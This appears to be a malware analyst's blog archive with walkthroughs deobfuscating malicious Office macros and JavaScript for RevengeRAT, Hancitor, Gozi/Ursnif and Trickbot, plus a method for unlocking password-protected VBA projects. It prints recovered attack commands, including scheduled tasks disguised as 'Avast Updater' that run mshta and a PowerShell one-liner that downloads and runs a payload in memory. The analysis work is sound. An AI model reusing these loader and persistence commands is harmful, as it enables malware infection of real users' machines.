RevengeRAT (Part 3) More javascript, an executable, and other tomfoolery…

The final installment! Lots of javascript ahead.

Part 1: Getting through the macros.

Part 2: Analysis of javascript from blogspot site to the first pastebin page.

Part 3: Analysis of javascript on remaining pastebin pages.

We left off looking at the code below. It is split up into four distinct parts and we’ll look at each one in turn.


Part 1: Kill Microsoft


This one is not that complicated. Create the shell object (line 58), put the command string in a variable (line 60), and run it in line 61. Here’s the full string in line 60. Notice how it’s killing a variety of Microsoft apps:

cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit

Part 2: Writing to the registry


Again, not too complicated. All it is doing is creating a registry key called “WinUpdate” and using mshta.exe to go to ANOTHER pastebin site and download stuff. I guess we’d better check that one out, too.


And here we go again! Five rounds later we get…


self.close? I have no idea why that would be put in the run registry, but there we go.

Part 3.1: Avast Updater


So rather than the run registry, let’s make a scheduled task instead! Line 72 is where the magic happens

69: X_hw0 "schtasks /create /sc MINUTE /mo 300 /t"
70: X_hw1 "n ""Avast Updater"" /tr ""mshta.ex"
71: X_hw2 "e /F "
72: X_hw schtasks /create /sc MINUTE /mo 300 /tn ""Avast Updater"" /tr ""mshta.exe /F

Using schtasks.exe, a new task is created (/create), using a schedule (/sc) of minutes, running every 300 minutes (/mo), with a task name (/tn) of “Avast Updater”, and will be running the following command (/tr) “mshta.exe http://pastebin…

Another freaking pastebin site? Yes! And guess what? It’s more javascript to untangle!

Part 3.2: The executable

… four rounds of CyberChef later, we get…


This will be very similar to the ones above. Here it is all laid out and reversed (when necessary):

104: D_XA1 "raw/eD7Nj8tL"
105: D_XA2 "'').replace(''!@#'',''0x'')'));[AppDomain]::CurrentDomain.Load($sc64).EntryPoint.invoke($S,$X)"
106: D_XA0 "Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''"
107: D_XA Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)Net.WebClient).DownloadString(' ').replace(''!@#'',''0x'')'));[AppDomain]::CurrentDomain.Load($sc64).EntryPoint.invoke($S,$X)

Line 106 is a long one and needs some explanation.

Variable $sc64 is going to be created as a byte array. iex means the same thing as Invoke-Expression. GCM *W-O* is an obfuscated way of running this instead: Get-Command New-Object. The contents of YET ANOTHER pastebin page is downloaded, only the characters !@# are replaced with a 0x. It is then loaded up and executed.

So what, pray tell, is at this next pastebin site? More javascript, perhaps?


No! It’s the actual executable! We can now see why the !@# was replaced with a 0x. And if you recall the scheduled task named Avast Updater, this will be downloaded and executed every 300 minutes.

Part 4: Avast backup

This looks familiar.


77: P_wx0 "schtasks /create /sc MINUTE /mo 300 /t"
78: P_wx1 "n ""Avast backup"" /tr ""mshta.ex"
79: P_wx2 "e"" /F "
80: P_wx "schtasks /create /sc MINUTE /mo 300 /tn ""Avast backup"" /tr ""mshta.exe"" /F "

Another freakin’ pastebin site. Well, we can’t stop now. And it contains javascript. Five rounds later we get…


Another self.close?  Well, at this point, I’ll take it.

That’s it for now! Thanks for reading.

RevengeRAT (Part 2) – Pastebin, Javascript, and StrReverse(StrReverse(“stuff”))

Continuing our walk-through, we now get outside of the document itself and see what happens next.

Part 1: Getting through the macros.

Part 2: Analysis of javascript from blogspot site to the first pastebin page.

Part 3: Analysis of javascript on remaining pastebin pages.

We left off with the macro running this command:


This means we must know what happens next. Using whatever site/mechanism you use to expand shortened links, you will see that the URL takes you to a blogspot site of all things.

Having seen this sort of behavior before, I’m not going to actually visit the site. Remember, our goal is to learn what is happening purposefully, rather than learning what is happening accidentally. In this case, I’m pretty sure that the site contains a monstrous chunk of javascript that I don’t want running. This means I’m going to use powershell to download the website. From there I can investigate it at my leisure.

PS C:\path\to\wherever> Invoke-WebRequest -Uri "" -OutFile "C:\Path\to\wherever\site.html"

Full disclosure, I can neither write nor read html. However, I have learned that huge chunks of javascript like this are suspicious and deserve more attention.


I found CyberChef to be extremely handy when working with this. We can copy out the hex in the javascript command and make use of the “From Hex” recipe.


Looking at the output below, we can see more javascript? Yes, we will find that we have multiple layers of obfuscated javascript. This means we need to take the hex from the output, copy it to the input, and lather, rinse, and repeat until we get something useful like this:


Lines 8-9 contain the last two rounds of obfuscated javascript. Lines 10-20 contain what is actually going to run. Looking carefully at line 11 we see the infamous double StrReverse.


Anyway, line 15 (var Zwk) is where the string gets put together. Line 18 (var AS_ww) contains the completed string and is where it is executed. After a little bit of analysis you can see this command being run:

12. AS_ww1 =
13. AS_ww0 = mshta
14. AS_ww2 = qykTeRnR
17. AS_ww =

So download what’s on pastebin and execute it? Looks like we’re headed to pastebin!


More javascript… Alrighty. Back to CyberChef and about three rounds later we get:


This script is split up into four distinct parts. We’ll look at each of them in turn in the next post.

To part 3!

RevengeRAT (Part 1) – Excel document and macros

This spreadsheet starts off a grand tour of javascript and obfuscated commands. Highlights include blogspot and the impossible-to-detect double-string reverse encoding (100% of the time, it works every time). Although I don’t have a full account, @olihough86 does and was able to help with the last bit of analyzing the final payload.

Feel free to download the document and play along.

Part 1: Getting through the macros.

Part 2: Analysis of javascript from blogspot site to the first pastebin pages.

Part 3: Analysis of javascript on remaining pastebin pages.

tl;dr - Redirects you to blogspot - Javascript downloads code from pastebin - Executes next four pastebin downloads - Executes self.close - Uses powershell to download and run executable - Executable lives here - Executes self.close

My first step is to always dump out the macros and look at them. This is easy enough to do with OfficeMalScanner. Line 16 below shows the ‘Shell’ command being run on three variables (lines 10, 12, and 14). The rest of this macro is 1192 lines that are mostly taken up by function ecJ4XvnDW (line 19). This function is huge and most of it is taken up by complete garbage.


In such a case, it can be useful to make use of the built-in Microsoft Visual Basic for Applications. There we can use it as a debugger to step through the macro and see how it works. It can also allow us to set breakpoints which allow us to skip over the garbage and get to the good stuff.

To do this, we will need to open up the document. We will be presented with the option to “Enable Macros” or “Disable Macros”. In order to use the debugger, we will need to enable macros. HOWEVER, make sure that you do this on a safe system that does not have internet access. You don’t want to go and infect yourself just yet. When you enable macros, you’ll be able to see that mshta.exe is a child process of EXCEL.EXE. Feel free to kill the process.


Once you’ve killed it, go back to the document and press Alt+F11 to open up Microsoft Visual Basic for Applications. You will then be presented with a screen like this:


This is where we can start investigating the macros and see how they run. The debugging feature allows us to do this. If we hit the ‘play’ button (F5), the macro will automatically execute and run to the end. We don’t want that. We want to control the code execution. Looking under the ‘Debug’ menu, we can see the option for ‘Step Into’ (F8). This means that we can run code and it will pause after each line. This allows us to watch what variables are being created and see how it all works. But sometimes stepping through each line one-by-one can take too long. In that case, we can set breakpoints. Breakpoints will allow us to set a point at which the code will… well, break. We can then press ‘play’ (F5) and the macro code will run until it hits a breakpoint.

Looking at the above code, we can see that it all seems to come together at the line that contains Shell(Kd1 + Kd2 + Kd3). It stands to reason that variables Kd1 – 3 will contain some important information. If we set a breakpoint at that line, we should be able to see what information is being fed to Shell(). Setting a breakpoint is very easy. All you need to do is click on the space to the immediate left of the line. A red dot will appear and the line will be highlighted in red.


We can now press ‘play’ (F5). The code will run, making variables, messing around in all of the garbage obfuscation, but we don’t care because we’re going to see the final output.


Looking at the variables below, it is almost trivial to piece them together. This is the command that is going to be executed. It is also the child process that we saw above:


On to part 2!

Hancitor/Amadey (8.26.2019): .vbs script analysis

@HerbieZimmerman found this .vbs script today and I thought I’d take a crack at untangling it. identified it as Amadey, and @James_inthe_box and @executemalware identified it as Hancitor.

tl;dr: Cleaned up vbscript can be found here.

Looking at the .vbs file, you’ll notice that it is all one one line. Google tells us that the colon character can be used in .vbs scripting to put everything on one line.hancitor01.PNG

We can use Cyberchef to beautify this script. Toss the above into Cyberchef, use Find/Replace to replace all colons with the carraige return, new line.


Once you do that, you’ll get output that looks like this:


This looks much better. However, like most malicious scripts, there’s a TON of extra garbage in there. One way to determine what to toss and what to keep is by searching for how many times a variable is used in the script. In line 2, the variable stMOS… equals 18. But that variable is not used anywhere else in the script. Therefore, I tossed it. The same goes for ZkDmROO… on line 5. It’s not used anywhere else and it can deleted. In fact, the pattern you see in lines 4-6 are seen over and over again in the next 1339 lines. Get rid of all of them.

Line 7 contains a very long array tossed into a variable named YicSb…. That one is used more than one time so we will keep it. In fact, lines 7 through 33 all contain very long arrays. Let’s look at variable in line 7 and see how it’s used. Maybe it will lead us to a de-obfuscation function?

7: YicSbOZkZH=aRray(B2,G5,a2,T5,T2
276: RcuccVWXSm=ARRAY(UHBdkSzkU,quvWCOuE,oWkjOwMb,...)
280: For Each File in RcuccVWXSm
281: rvCMVjqVws.WRITEteXt ULhfLslQ(File)
282: NeXT

Line 276 assembles all of those long arrays. Line 281 runs a function called ULhfLs1Q on it. It’s a good bet that is our decoding function. Here it is after the junk has been cleaned out of it:

funCTiON ULhfLslQ(lHVfMJFxTm) 
    do wHILe WZvLcrdAj =< UbouND(lHVfMJFxTm)
end funCTiON

But I don’t like looking at those variables. Here’s my cleaned up version.

funCTiON converthex(input) 
    do wHILe count =< UbouND(input)
end funCTiON

Here’s how it works. It may seem that each element of the array is taken, 71 is subtracted from it, and the result is changed from hex into ASCII. However, looking at the very end of the script, we see about 321 “const” statements. These swap out the different elements in the arrays for digits.


71 is then subtracted from those values, the result is changed from hex into ASCII, and the result is appended to the output.

Applying this decoding function to the various parts of the script, a few interesting things pop out. There are certainly more than these few.

The script obviously does all of the deobfuscating. But I didn’t have any sort of way to walk through the script, look at the variables, and see how it worked in an interactive way. I’m sure something like that exists, but if so, I don’t know about or have access to it.

So what is the not-so-quick-but-dirty way of doing this?

I made a .vbs file using the deobfuscation function, all of the const statements, and finally a few lines to output the results to the screen. It looked something like this:

funCTiON converthex(input) 
    do wHILe count =< UbouND(input)
end funCTiON

cONST s9=184
consT G7=92
cONst E2=170
[put rest of const statements here]

var=converthex(Array(paste comma-separated array values here))
wscript.echo var

Save that to a .vbs file and you can use PowerShell to call it up using “& cscript.exe [path to file]”hancitor09.PNG

You will see that the results will spit out and you can keep going on your merry deobfuscating way.

Thanks for reading. Remember, the cleaned up output is at the top.

Gozi/Ursnif (8.22.2019) – Document and Dropped File analysis

It’s Gozi time! And Ursnif time! One of the two. Or both? Either way, here’s the .doc in It originally came in an attached .zip file with a password of ‘777’. (As an aside, if 666 is the number of the beast, then 777 must be the neighbor of the beast).

For the impatient ones out there, here’s the dropped file.


Using OfficeMalScanner, five macro files are dumped. They are…


I don’t write in visual basic, vb scripting, vba whatever. I can read it, but I can’t write it. This is just my way of saying that I may not use the right words to explain things (mea culpa!). Either way, ThisDocument shows us where the macro starts with Sub Document_Open(). Not much happens here except that when the script reaches main, we jump to awBR7S1cN.

Macro: ThisDocument

Macro awBR7S1cN steps through quite a bit of nonsense before it gets to line 46. This line contains a function called aQGWKsE that is being fed a very long string. Long strings are always interesting things to which we should pay attention.

Macro: awBR7S1cN

We can find function aQGWKsE in macro a9iAyP. This is the deobfuscation function for that long string.

Macro: a9iAyP

Pretty sure it works thusly:

70: Get length of string, increment the counter by 2
71: Mid$ -> Grab two characters of string; Val("&H" -> Treat numbers as hexadecimal; Chr$ -> convert hex to ASCII.
72: Toss that variable at the end of aN13XBjP
Go back to top of loop, grab the next two numbers, convert to hex, convert to ASCII...

Therefore the long string above becomes…

c:\Windows\System32\wbem\wmic process list /format:"a18DT.xsl"

It turns out that this is going to run ‘wmic process list’ in order to dump all running process, but output it in a format called “A18DT.xsl”? That’s not normal. But onward with the script.

We now jump back to macro awBR7S1cN. Line 52 calls up a new function called aGd1Xu, which is fed “a18DT.xsl” and aQGWKsE again. Looks like this is going to deobfuscate some more text.

Macro: awBR7S1cN

The information in a3gt4mDrq.azfvPRgFr.Text can be found if you open up Microsoft Visual Basic for Applications and look at the project forms. Double-click on the form and you see all of the information getting called up here.


This is a much longer string than before. This gets run through function aQGWKse and decodes to this:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user=""

Looks like an .xml document? Later in macro a9iAyP, we see a file named a18DT.xsl get created and filled with the xml information we see above.


Line 98 creates a new WshShell, and later that calls wmic to start up the .xsl document that was dropped.

PART 2: a18DT.xsl

I’m not going to go into too much detail about this file, except that contains javascript (another language I don’t write in, but can sort of read) and has some interesting strings.


CyberChef to the rescue! Here’s the output below:

Line 20:
Line 21:
Line 22: scripting.filesystemobject
Line 23: msxml2.xmlhttp
Line 24: savetofile
Line 25: run
Line 26: deletefile
Line 27: avEjrNV.exe

I’m not going to go into any more depth in that script, but looks like it’s going to download (line 20) a file (line 27), and then probably run it or something. You know, like malicious things typically do.

Thanks for reading!


Trickbot Analysis – Part 3: Javascript File

Part 1: An analysis of the extracted macros.

Part 2: An analysis of the locked document.

Part 3: An analysis of the dropped javascript file (plus bonus deobfuscation).

It is now time to analyze the dropped javascript file. It is heavily obfuscated. It also completely sucks. However, much thanks goes out to @ps66uk for patiently showing me a not-so-quick-but-mostly-effective method for getting to what’s important.

As before, we will be working off of the document found here.

The dropped file looks like this. It also needs a trip through That makes it look slightly more tolerable.

There is a function right at the top called evjPnjn. It ends up being used 6721 times in this script. This makes sense because it is also the function that helps to deobfuscate the script. Here it is in the original script (slightly cleaned up):

function evjPnjn(kfwfthat, wjskgiv){
        {/*indeed22*/;/*know86*/;/*there34*/;/*being24*/;/*that75*/;/*thus94*/;/*never7*/;/*this65*/;/*forces20*/;eihHere_8(kfwfthat, wjskgiv);}
    catch(e) {
        if (wjskgiv!='Char') {
            return true;
        else {
            return String[['from']+wjskgiv+['Code']](kfwfthat);
        return false;

The next function we see is on line 81. We can see that it calls evjPnjn and feeds it two values. Most everything else is useless.

var llArzroadI41 = String[(function() {
    var ksjskill6 = [];
    ksjskill6[0] = 1;
    try {ksjskill6[1] = kekcondu_8();}
    catch (twwwothe) {
        if ((twwwothe + '').indexOf(']') > -1 && evjPnjn(101, 101)) {
            ksjskill6[1] = 101;
            return evjPnjn(ksjskill6[1] + ksjskill6[0], 'Char');}}
    return evjPnjn(ksjskill6[1] + ksjskill6[0], 'Char');}

Now ksjskill6[1] + ksjskill6[0] = 102. This means that the call function to evjPnjn is going to be set up like this:  evjPnjn(102, ‘Char’)

This helps us to decode what is going on with evjPnjn. Replacing kfwfthat and wjskigv with more meaningful words can help us to understand what it does.

function evjPnjn(digits, value){
        {/*indeed22*/;/*know86*/;/*there34*/;/*being24*/;/*that75*/;/*thus94*/;/*never7*/;/*this65*/;/*forces20*/;eihHere_8(kfwfthat, wjskgiv);}
    catch(e) {
        if (value!='Char') {
            return true;
        else {
            return String[['from']+value+['Code']](digits);
        return false;

The important piece happens on the line starting with ‘else’. Look what happens when we replace value with ‘Char’ and clean it up a little.

else {return String[['from'] + 'Char' + ['Code']](102);}
else {return String['fromCharCode'](102);}

fromCharCode takes a hexadecimal number and changes it into an ASCII letter. The ASCII letter for hex 102 = ‘f’. evjPnjn will be called up 6720 more times and will eventually unravel the script letter by letter and execute this javascript.

There’s got to be a faster way. Well, thanks to @ps66uk, there is. It will require a judicious use of and a spreadsheet. First to CyberChef!

Take the beautified javascript and paste that sucker into CyberChef. It will be huge. Load up a recipe called “Regular Expression” with the following values:

Built in regexes: User defined
Regex: \w{1,10}\[[0]\] = (\d{1,3});
Regex 2: \w{1,10}\[[1]\] = (\d{1,3});
Output format: List capture groups

The first regex finds a pattern that is 1 to 10 word characters long, followed by a [0], space, equals sign, another space, 1 to 3 digit characters, and finally a semicolon. The second regex does the same thing, but instead looks for a pattern that is 1 to 10 word characters long followed by a [1].

Looking at the example we saw above, regex pattern 1 pulls out ksjskill6[0] = 1; and regex pattern 2 pulls out ksjskill6[1] = 101;. The output format of ‘List capture groups’ dumps out their values respectively.

var llArzroadI41 = String[(function() {
    var ksjskill6 = [];
    ksjskill6[0] = 1;
    try {
        ksjskill6[1] = kekcondu_8();
    } catch (twwwothe) {
        if ((twwwothe + '').indexOf(']') > -1 && evjPnjn(101, 101)) {
            ksjskill6[1] = 101;
            return evjPnjn(ksjskill6[1] + ksjskill6[0], 'Char');
    return evjPnjn(ksjskill6[1] + ksjskill6[0], 'Char');

We saw that the evjPnjn function takes those two values, adds them together, and then converts them from hexadecimal to ASCII. A spreadsheet can do the same thing. Copy the output from the two CyberChef results into a spreadsheet like below. Then, use the formula in column C to add the two values together and then convert to ASCII. The output should start making sense.


But we’re not done yet. Copy column C back into CyberChef and use the recipe called “Remove Whitespace”. You can see the rest of the words pop out. I unchecked ‘Spaces’ because those characters were used by the script.


Here’s the final output. We can also see a URL near the beginning. This is associated with Trickbot.


You can kind of get an idea of what is going on here, but what if someone were to have crawled through the javascript and deobfuscated the whole thing by hand? Yeah it would have taken a long time. But you can find a rough draft of it here. Enjoy!

Trickbot Analysis – Part 2: Locked Projects in Documents

Part 1: An analysis of the extracted macros.

Part 2: An analysis of the locked document.

Part 3: An analysis of the dropped javascript file.

When analyzing a malicious document, it can be useful to make use of Microsoft Word’s built-in Microsoft Visual Basic for Applications. This allows you to investigate the macros and step through them in order to see how they work. However, sometimes you see this:

\sad trombone

Many people know that you can just toss the .doc into a hex editor, search for the string DPB, replace it with DPX (or something), save it, open the document, ignore the errors and you should be good to go.

That doesn’t happen for every document. In the case that it doesn’t work, here is another method. All credit goes to Vishal Thakur’s blog that describes how to do this. This method takes advantage of the fact that .docm/.docx files can be treated like a .zip file. We will change the .docm file to a .zip, find the vbaProject.bin file, change DPB to DPX, save it, change the .zip file back into the .docm, make the project available for viewing, and we will be good to go again.

Step 1 – Change file extension of .docm/.docx file to .zip

Step 2 – Open the .zip folder, look in another folder called ‘word’, and copy the vbaProject.bin file to another location (in my case, the desktop).


Step 3 – Open vbaProject.bin in your favorite hex editor. Search for the string DPB.


Step 4 – Change DPB to DPX and save changes.


Step 5 – Copy the edited vbaProject.bin back into the .zip folder. Rename folder from .zip to .docx/.docm. Open document and try to view the macros. You may see errors like below. Just keep clicking through them.


Step 6 – Pressing Alt+F11 is another way to get into Microsoft Visual Basic for Applications. If you do that, you’ll see that you still can’t edit the macros. But right-click on the project, choose Project Properties -> Protection. Uncheck “Lock project for viewing” and either put in a new password of your choosing or make sure that it’s blank. Then save your changes and exit.


Step 7 – Re-open the document and investigate the macros at your leisure!


Trickbot Analysis – Part 1: Macro Analysis

This is the first in a three-part series of analysis on this malicious document.

Part 1: An analysis of the extracted macros.

Part 2: An analysis of the locked document.

Part 3: An analysis of the dropped javascript file.

Macro Analysis

I extracted the macros using OfficeMalScanner. It dumped two files, NewMacros and ThisDocument. We can see that ThisDocument contains Sub AutoClose(). This means that the macro will run when you close the document.


The sub named Tokio is located in NewMacros. It pulls from other variables in that same file.


A little bit of searching, copying, and pasting in that file allows us to piece together line 28.

VBA.CallByName VBA.CreateObject(Shell.Application), ShellExecute, VbMethod, WScript, /e:JScript "glob", "open", 1

The variable glob is the name of the file that is going to be executed. And that’s what is unusual about this document. Not only does it drop a new file to disk, but it also is going to run it as javascript. A sub called Oslo is used to drop a .css file with the same name as the original .docm file.


Line 40 grabs the name of the current document and replaces .docm with .css. Line 48 creates the new document. Notice how it grabs the data from ActiveDocument.Content.Text. This data is stored in the pages of the .docm file itself. If you were to open the document, you would see this:


The data that gets dumped into the .css file is all of the yellow text above. In fact, from this point you could copy and paste all of that yellow text into a new text file and find all of the same javascript.

Extracting Macros –

Another fantastic and easy to use tool to use for extracting macros is by Didier Stevens. You can find the tool here. It’s super easy to use, so let’s get to it. The document that I’m using can be found here.

All you need to do is point at a document and let it fly. Looking at the results, you can see the streams that contain macros have the letter M in front of them.

M is for ‘macro’.

You need to use two switches to extract the macros to screen. I don’t find that nearly as useful as just dumping the output to a .txt file. You can repeat that for both streams.

-s  Select a stream and dump its contents.

-v Decompress the selected stream.


After this, you can look at the extracted macros at your leisure!